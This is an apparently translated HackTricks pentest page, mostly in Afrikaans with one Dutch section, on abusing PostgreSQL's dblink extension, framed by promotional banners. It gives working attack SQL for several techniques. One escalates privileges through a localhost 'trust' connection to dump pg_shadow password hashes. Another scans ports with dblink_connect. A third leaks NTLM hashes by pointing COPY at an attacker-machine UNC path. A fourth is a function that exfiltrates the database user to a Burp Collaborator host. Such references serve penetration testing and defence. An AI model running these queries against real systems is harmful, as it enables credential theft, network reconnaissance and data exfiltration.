Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
**Vind [meer inligting oor hierdie aanvalle in die oorspronklike dokument](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**. Aangesien **PostgreSQL 9.1**, is die installasie van bykomende modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): ```sql CREATE EXTENSION dblink; ``` Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer: ## Bevoorregte Eskalasie Die lêer `pg_hba.conf` kan sleg geconfigureer wees en **verbindings toelaat** vanaf **localhost as enige gebruiker** sonder om die wagwoord te weet. Hierdie lêer word tipies gevind in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos: ``` local all all trust ``` _Merk op dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms kan jy dit vind._\ _Merk ook op dat die lêer pg\_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker geskryf kan word._ Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, omdat dit jou sal toelaat om aan te sluit by die postgresql-databasis. 'n Ander moontlike verkeerde konfigurasie bestaan uit iets soos dit: ``` host all all 127.0.0.1/32 trust ``` Aangesien dit almal vanaf die localhost sal toelaat om na die databasis te verbind as enige gebruiker.\ In hierdie geval en as die **`dblink`**-funksie **werk**, kan jy **voorregte verhoog** deur na die databasis te verbind deur middel van 'n reeds gevestigde verbinding en toegang te verkry tot data waarvoor jy nie toegang behoort te hê nie: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT); SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` ## Poortskandering Deur `dblink_connect` te misbruik, kan jy ook **soek na oop poorte**. As daardie **funksie nie werk nie, moet jy probeer om `dblink_connect_u()` te gebruik, aangesien die dokumentasie sê dat `dblink_connect_u()` identies is aan `dblink_connect()`, behalwe dat dit nie-supergebruikers sal toelaat om te verbind met enige verifikasiemetode nie_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10'); //Different response // Port closed RROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444? // Port Filtered/Timeout ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTP server ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTPS server ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` Let daarop dat **voor** jy `dblink_connect` of `dblink_connect_u` kan gebruik, moet jy moontlik die volgende uitvoer: ``` CREATE extension dblink; ``` ## UNC-paad - NTLM-hash openbaarmaking Wanneer een gebruiker zich aanmeldt bij een Windows-systeem dat is geconfigureerd voor NTLM-verificatie, wordt er een NTLM-hash gegenereerd op basis van het wachtwoord van de gebruiker. Deze hash kan worden gebruikt om de identiteit van de gebruiker te verifiëren bij andere systemen die NTLM-verificatie ondersteunen. In sommige gevallen kan een UNC-pad (Universal Naming Convention) worden gebruikt om toegang te krijgen tot gedeelde bronnen op een netwerk. Wanneer een gebruiker een UNC-pad opent, kan de NTLM-hash van de gebruiker worden blootgesteld aan het netwerk. Een aanvaller kan deze NTLM-hash onderscheppen en proberen deze te kraken om het oorspronkelijke wachtwoord van de gebruiker te achterhalen. Met het oorspronkelijke wachtwoord kan de aanvaller zich voordoen als de gebruiker en mogelijk toegang krijgen tot andere systemen en bronnen. Om deze kwetsbaarheid te voorkomen, moeten organisaties ervoor zorgen dat NTLM-verificatie veilig wordt geïmplementeerd en dat er geen onnodige blootstelling van NTLM-hashes plaatsvindt via UNC-paden. ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); COPY test FROM E'\\\\attacker-machine\\footestbar.txt'; ``` ```sql -- to extract the value of user and send it to Burp Collaborator CREATE TABLE test(retval text); CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ DECLARE sqlstring TEXT; DECLARE userval TEXT; BEGIN SELECT INTO userval (SELECT user); sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\''; EXECUTE sqlstring; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ```
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.